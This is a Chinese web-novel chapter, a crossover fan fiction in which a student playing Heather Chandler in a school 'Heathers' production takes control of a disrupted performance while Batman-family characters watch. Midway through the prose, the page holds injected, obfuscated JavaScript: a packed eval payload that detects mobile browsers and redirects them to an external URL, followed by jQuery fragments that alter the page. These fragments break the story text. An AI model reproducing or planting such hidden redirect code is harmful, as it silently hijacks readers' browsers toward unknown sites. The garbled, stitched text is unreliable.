11. 神级救场
作品:《百老汇永不停演!【综英美+美娱】》 这个出场简直就是大变活人的魔术,给了观众们相当不错的刺激,台下的人们开始欢呼鼓掌,欢迎女主角的入场。
蝙蝠家和康纳有着出色的夜视能力,轻松看穿了这个把戏:在刚才黑暗的几秒里,维罗妮卡的演员飞奔上台,靠着舞台地板上那些寻常观众看不见的荧光贴纸找到站位。
但即便如此,他们还是不自觉地被周围的热情带动,跟着给出反馈。
女主角维罗妮卡停顿片刻,等掌声弱下后继续说台词,告诉观众们这出戏的时间地点。
今天是开学第一天,而她在的小镇高中就是人间地狱。
那些她从幼儿园就认识的同学们,怎么长大后就变得面目全非了?
至于是怎么个面目全非,鱼贯而入的群演们下一句就给出答案:
“怪胎!垃圾!懒鬼!
freak!trash!burnout!
臭虫!装货!失败者!
bug-eyes!poser!loser!”
骂人的话被编成歌,从这些面目狰狞的高中生口中蹦出,在剧院这样的高雅场所响彻全场,带着冒犯意味的反差让观众们哄笑出声。
vip包厢里的基金会负责人听到如此劲爆的脏话连击,差点一口气背过去——但看旁边布鲁斯·韦恩也笑出声,这口气又顺了过来,于是大发慈悲地决定放导演一马。
接下来的一段是维罗妮卡的“脑内小剧场”,维罗妮卡会向观众介绍这些出场的角色。
群演们就像彩排时做的一样,发挥了过硬的演技。除了维罗妮卡边走动边说词,其他人都静止不动,完美地出演了“时间停止”的效果。
维罗妮卡用诙谐的口吻说道:“兰姆,这位是球队的中后卫球员,学校最擅长打翻别人餐盘的人,蝉联多年校园王八蛋冠军。”
她指了指身边那个动作像狒狒的壮硕男生,“他是他们队里最聪明的那个了。”
这句台词引发了比刚才更盛大的笑声。
但是,笑过后每个人都隐隐感到了一丝悲哀:他们是跟着女主角维罗妮卡的视角来看这个故事,维罗妮卡口气中的伤感也传递给了他们;况且美国高中那些破事,在座的大部分人也都见过,有些人甚至亲身受害过,因此也就更加共情。
短短一分钟内,观众的情感就已经被舞台上的表演带出了好几种层次。
就连口味被各种好莱坞大片惯坏的康纳,也终于愿意在心里给出一个不错的评价:不靠特效,不靠后期,全靠演技和现场有限的设备,看来剧场这种老套的东西还是有点意思的。
伴随着电吉他的重复乐段,维罗妮卡的讲述还在继续。
学校里到处可见的欺凌现象,她因为处在食物链底端而被人推搡辱骂,每一天她都盼望着毕业好脱离苦海.....
在情绪被压抑到最极致的时候,维罗妮卡和群演们突然转换了唱腔,抛给观众一个新的问题:
在这样等级分明的小社会里,难道就没有如鱼得水的人吗?
谁会是食物链的顶端?
谁会是这学校的女王?
谁是众人羡慕的对象?
舞台的灯光忽地转变颜色,台上的演员们动作整齐划一地转身,单膝跪下,像是歌颂神明一样如梦似幻地唱道:
“希德!希德!还有希德!
Heather!heather!andheather!
我爱希德!希德!还有希德!
Ilove!Heather!heather!andheather!”
配合着舞台灯夺目的亮粉色,干冰机制造的白气席卷了舞台,暖色调配合着阴冷的雾霭,给人一种危险又迷人的印象。
雾气散去,三个分别穿着红、黄、绿西装的女孩,傲然站在舞台中央。
《希德姐妹帮》的三个希德,正式登场!
三个希德,尤其是卡里亚的红希德,是那么亮眼,从服装到妆容都完美无瑕,理所当然地接受其他学生的朝拜,每一次落脚都踩在节奏上,最终来到舞台最前沿,向观众飞吻。
就像康纳说的,和好莱坞的各种巨制比起来,这里的布景堪称穷酸:整个舞台长宽不到二十米,道具是几个柜子,一些台阶,外加背景墙的简单喷漆。
但在卡里亚的脚下,却能让人恍惚间看见她带着两个小跟班,穿梭在学校的走廊、教室、楼梯,每走到一处,都会收到惊呼和敬畏的眼神,宛如百兽之王巡视广阔领土。
哪怕她此刻走下舞台,走到观众席里,也会不由自主地让人顶礼膜拜!
观众们为她送上如雷掌声,斯蒂芬妮的巴掌拍得尤其响亮。
而这也无形中成为塑造红希德校园人气女王形象的一部分,第四面墙被打破,台上台下形成了完美的互动。
到目前为止,主要角色基本全部出场。
导演在后台通过监控器看到了这一切,心中压着的石头稍稍轻了一些。
开场曲(openingnumber)可以成就一出戏,也可以搞砸一出戏。
这条规则在《希德姐妹帮》中尤为适用,因为这首不到十分钟的曲子承担了相当繁多的任务:介绍全体角色,揭露时间地点,奠定黑色幽默的基调,设定本剧主线事件.....
以及重中之重的,创造剧场内的观剧氛围。
一个好的开场曲能让观众忘掉现实,忘记他们刚才还在一个没有人动不动就唱歌的正常世界,接受“此时此刻,台上的人动作夸张地唱唱跳跳是一件很正常的事”这个设定,之后整场都能顺利入戏。
很显然,现在观众们的思维已经完全跟着台上走了,感官和情绪也已经被演出所操纵。
导演盯着监控器,听舞台监督发出指示,确认维罗妮卡顺利完成快速变装、十分钟的开场曲圆满结束,向后退几步,如释重负地瘫坐在椅子上。
开场曲的底子打好,只要保持现在这个状态,接下来的演出想必也能顺顺利利。
但他忘了,这里可是哥谭,必不可能让人称心如意。
高兴没几分钟,导演屁股下的椅子还没坐热,就听到外面传来一阵骚动,吓得他赶紧起来,到外面抓住一个路过的剧场引座员,从对方嘴里打听是怎么回事儿。
好消息,不是后台出问题,学生们和工作人员们都好好的。
坏消息,问题来自观众席。
现在的剧情是维罗妮卡加入希德姐妹帮后,和昔日好友的日常闲谈。经过了那样一个充满张力的开场曲,也得给观众的情绪一个休息时间,放松放松神经,调整调整坐姿。
但就是这个喘息的间隔,让少部分只是来看热闹外加拍照打卡的低素质人起了别的心思。
——快看啊,vip包厢里坐的是不是布鲁斯韦恩?
——哇,这可比一个高中生音乐剧有话题多了!
——发到ins上肯定能有很多赞!
观众席里漆黑一片,这些人干脆开闪光灯拍照,哪怕工作人员用红外线激光笔照在他们身上,提醒他们禁止拍摄,也收效甚微。
因为这明显的干扰,一些本来没这个打算的人也被带动,抱着法不责众的心态,悄悄拿出手机偷拍哥谭甜心;更多的人则是和偷拍者起了争执,观众席的各个角落都有断断续续的小声吵架,甚至还有愈演愈烈之势。
好不容易营造起来的入戏氛围,一下子被破坏殆尽。
这就是现场演出的双刃剑。演员与观众之间能进行互动,甚至有时观众的反应也能成为戏剧表演的一部分,这是任何影像都替代不了的体验。
而这种特殊性的坏处也很明显,要是碰到了这种低素质的观众,整晚的演出都有可能被毁掉。
眼下整个剧院都起了骚乱,观众们的注意力全都被附近的干扰吸引走;台上的演员,维罗妮卡和几个群演,也很明显心不在焉,频频瞥向观众席。
台上台下都出戏,简直是地狱般的景象。
导演烦躁地揪住头发:“就不能把他们都请出去吗?”
引座员叹气:“没办法,偷拍的人实在太多了,而且很多人都是只拍一次,我们也不好定位......要开广播提醒观众吗?”
“不,不能在演出的时候开广播,只能先暂停。”导演咬紧牙关,“但这样就是重大事故了——而且剧情正到关键处!”
剧情发展到红希德的恶作剧,试图带动维罗妮卡一起羞辱她的昔日好友,马上就要进入到下一首曲子。
台上只有红希德还在正常说词,其他人的心思明显都不在演出上,台词不像先前有感情,甚至有几次连走位都忘记了。
就算是水平拔尖的穆瑟尔,也没法兜住一场满是破洞的戏。
导演绝望地阖上眼睑。
*********
台上的卡里亚也在和导演一样发愁。
但她不是愁的戏毁了,而是在愁该怎么救场能救得完美一点。
要是在前世,她一个人上台演出,伴奏只有一个钢琴师,那当然是随她发挥;但现在她要带着几个已经乱了阵脚的高中生,还得让台下的学生乐队和后台的灯光师领会到她的意图,实在是有点儿难度了。
如果不能让其他人跟上她的思路,那么最好的办法就是让他们在她救场时什么都不做,免得步调不一致,台上变得更加混乱。
至于如何确保所有人都按兵不动.....
最好的办法就是给他们来个惊吓,把他们唬愣在原地吧?
卡里亚突然福至心灵,一个大胆的点子在她脑中成型。
在脑海中快速模拟一遍后,她立刻付之于行动。
在卡里亚的对面,莎莉正在磕磕绊绊地说着台词,而这磕磕绊绊并不全是演出来的:“你、你们不能这样对她!你们这样会让她......会杀了她的!她——”
“闭嘴!!!”
卡里亚大喝一声,打断了莎莉本该说完的台词,这声中气十足的叱责吓得台上的人全都定在原地,就连乐池里的电钢琴手都停住了。
而台下那些制造骚乱的人,也因为这句怒吼下意识地心虚,茫然地发不出声。
在一片鸦雀无声中,卡里亚一手叉腰,一手猛推莎莉的肩膀,把她的站位从侧身推成面朝观众。
卡里亚站到她身边,和她同样的面朝台下,一只手指放在莎莉的唇前,强硬地要她噤声。
接下来的台词本来是该面朝着莎莉说的,但这么一改动作,卡里亚接下来的词就变成了打破第四面墙,增加了对观众喊话的意味:在英语里,“you”是单复数同形,所以接下来的词理解成双重意思是完全行得通的。
“看来有人对我很有意见。
Arewegoingtohaveaproblem?”
“你(们)是来找我麻烦的吗?
Yougotabopick?”
“你(们)好不容易到这里来了,怎么现在突然想惹我不爽?
You''vesofar,Whynowareyoupullingonmydick?”
余光瞥见乐队的人还愣着,卡里亚毫不犹豫地夺走莎莉手里的道具笔记本,往乐池里一扔。
这个动作在剧情上完全说得通,因为红希德此时对维罗妮卡极尽蔑视,扔掉她的私人物品更能体现这一点;
而在台下,扔到脚边的笔记本让吉他手和键盘手终于回过神来,开始调整架势,做好了伴奏的准备。
看到一切正如她所预想的进行,卡里亚嘴角扬起一抹冷笑,伸出手在维罗妮卡的脸上轻轻拍了拍,颇有点杀鸡儆猴的意思。
“平常我早就一巴掌把你(们)的脸扇飞
I''dnormallyslapyourfaceoff”
“当着所有人的面,让大家好好看看!
Andeveryoneherecouldwatch”
但我今天心情不错,就给你(们)点建议——
ButI''mfeelingnice,Here''ssomeadvice”
“——闭上嘴,听我说话!
——Listenandshutup!”
本剧人气最高的歌曲《糖果店》(candystore),前奏炸响全场!
整个剧场的风向为之一变。在这样一段兼具了恐怖和压迫的环绕立体声威胁后,任谁都会被唤醒本能的畏惧。
偷拍的也好,吵架的也好,不管先前再怎么肆无忌惮,此刻像是被拽住了狗链子,硬生生地被拉回到演出当中。
像是维罗妮卡一样,屈服在红希德的威压之下,假装刚才无事发生,拧着手指不发一言。
剩余的受害观众大为痛快,跟着发出“wooooohoooooo”的欢呼声,将赞美献给这首邪恶又美丽的曲子,献给如此完美的临场发挥,献给场上这位美丽又天才的希德·钱德勒!
原本盘算着对这些偷拍者小施惩戒的蝙蝠家和康纳,不由在心中默默赞叹她的心理素质:在短短几秒内做出了最精准、最恰当的判断,调动起整个演出团体的同时没有一丝慌乱,简直像是演了几十年的diva。
斯蒂芬妮很骄傲:看到没,我好姐妹厉害吧?
再看台上,剩余的演员们也找回了状态。有红希德这样的强势女王撑腰,谁会不感到安心呢?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049583|177743||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
黄希德和绿希德各司其职,专心为红希德和声伴舞。
“我喜欢穿得火辣,买其他人买不起的名牌货。
Ilikelookinghot,buyingstufftheycannot”
“我喜欢大口喝酒,再把我爸的信用卡刷爆。
Ilikedrinkinghard,maxingdad’screditcard”
康纳不由自主地再次拿这段演出和他熟悉的电影对比。
如果是电影的话,红希德这段有钱任性的发言应该配几个蒙太奇,展示一下她带小跟班扫街,再给她的豪宅和衣柜几个镜头。
但这里是舞台,一个处处受限的封闭空间,台上的道具还是那些寒酸的粗糙道具,甚至连个简单的换装都没有。
红希德能依靠的,只有灯光、妆造、歌舞。
她要用这些老套过时的东西来打动观众,让这些已经被网络和电影提高了感官阈值的人们相信,红希德是一个恶毒富家女。
——她真的做到了。
看看她现在的样子!眉眼之间满是盛气凌人,浓妆艳抹充满了攻击性,向观众飞吻时的矫揉造作!
还有她的声音!她的声音充满了金钱的味道,唱出每一个音符都带着巨大的信息量——呼吸,强弱,音调,光是靠着唱句,红希德就能让所有人信服,她平时过的就是这样纸醉金迷的生活!
“我喜欢逃体育课,吓唬女孩,调戏男孩
Ilikeskippinggym,scaringher,screwinghim”
“我喜欢那种杀伤力满分的衣服
Ilikekillerclothes”
“还有踹一脚书呆子的鼻子
Kickingnerdsinthenose!”
配合着歌词,三个希德一起来了个脚过头顶的高抬腿,同时保持住高音丝毫不乱,又是引发一阵尖叫和掌声。
这首歌的剧情是红希德劝诱维罗妮卡入伙恶作剧,但维罗妮卡已经隐藏到了角落的阴影里,让人看不清她的表情。
这是有意为之的安排,因为在这一刻,观众的想法已经和维罗妮卡同步了:
——希德她很刻薄,很讨人厌,但又如此的光彩夺目。她是不道德的,应该被拒绝的......
——可是,如果给我一个机会的话,我也想试试看成为这种人!
万花镜一般的奢靡意象,让整个剧场都陷入了被洗脑一般的狂欢之中。
三个希德在气氛的最高点走上台阶,甩动长发,朝着观众招手,对着维罗妮卡,也是对着观众——她们的猎物——发出难以抗拒的危险邀请。
“亲爱的,你还等什么?
Honey,whatyouwaitingfor?
欢迎来到我的糖果店,
WeetomyCandyStore
现在是你证明自己不再是废物的时候了,
Timeforyoutoproveyou''renotaloseranymore
快点踏进我的糖果店吧!
AndstepintomyCandyStore!”
康纳感受到了一种奇妙的反差感。
他觉得很不可思议。
之前见到的那个女孩,傻里傻气,还很脱线,要不是脸长得还算可爱,绝对会被人贴上“怪胎”“呆子”的标签。
但看她在台上的样子.....说她每周都在自家豪宅里开泳池派对他都会信!
他用余光瞥向身侧的同伴。蝙蝠家的几人已经融入其他观众,连连叫好,一点都没有感受到违和的迹象,哪怕台上的卡里亚还是他们的熟人。
他们不是世界上最伟大的侦探的弟子吗?怎么这么轻易就被这些寒酸的道具布景,还有几句歌词就被蒙蔽了?
是因为剧场里的氛围?还是因为卡里亚太会骗人?
康纳想不明白。
没有人能给他答案。
“也许剧院里有什么看不见的魔法吧。”
打不过就加入,康纳放弃思考,抛弃批判或者审视的目光。
就当自己是一个普通的人类,纯粹地来观看这场演出好了。
*******
《糖果店》得到了满堂喝彩,所有观众起立鼓掌,“bravo!”“eous!”经久不息。
可惜的是红希德死得太早,在《真正的我》(meinsideofme)之后就只能以恶灵的形态游荡在台上,没有更多歌曲了。
但她光是伫在那儿,就能让学生们找到主心骨,心无旁骛地完成演出。
之后的部分一切顺利,整场戏有条不紊地结束,直到谢幕。
这让后台提心吊胆的成年人们大大松了口气。
“真是太精彩了,你见过这么精彩的临场发挥吗!”编舞利贝嘉赞叹,“真想拿给那些以为《希德姐妹帮》有了官摄就没必要再来剧院的人看看,他们全都是白痴!这种神级现场能在屏幕里看到吗!”
剧场经理拿手帕擦掉额头上的汗:“有没有那么神我不知道,但起码她震住了那些偷拍者,让韦恩先生看得开心,光这件就功德无量!”
他去观众席看过了,只要是红希德上场的部分,先前那些偷拍者就会吓得缩成鹌鹑,生怕红希德真的跑下来,当着其他人的面给他们来个大比兜。
其实大伙儿心里都清楚,那些都是演的,演员不会真这么干......但心里就是很害怕啊!
譬如经理,已经不做学生好多年,但听到体育老师的哨声还是会忍不住双腿发软。
这种刻在本能里的对强权的恐惧是消不掉的,而红希德唤醒了这种恐惧。
经理是学酒店管理出身,不懂声乐上的太多知识,但以一个半专业的观众角度来看,他觉得这个叫穆瑟尔的女孩演得很好,比他见过的很多专业老演员都要好。
他拍拍导演的肩,呵呵笑道:“bro,你这回可是捡到宝了!”
导演嗯了一声,仍未从震惊中回过神来。
卡里亚·穆瑟尔又一次刷新了他的认知。
他是叫她帮忙在场上兜着点,但没想到她这么能兜!简直比那个日本蓝机器猫的口袋还能兜!
他原本想着,等穆瑟尔高中毕业后就邀请她来自己的麾下,他可以让她一步到位做女主角,给未来的当家花旦一切资源,把她捧成新泽西州最好的舞台演员。
如今这个规划,恐怕要打上一个大大的问号了。
他的水平,真的能配得上这样一个异次元级别的天才吗?

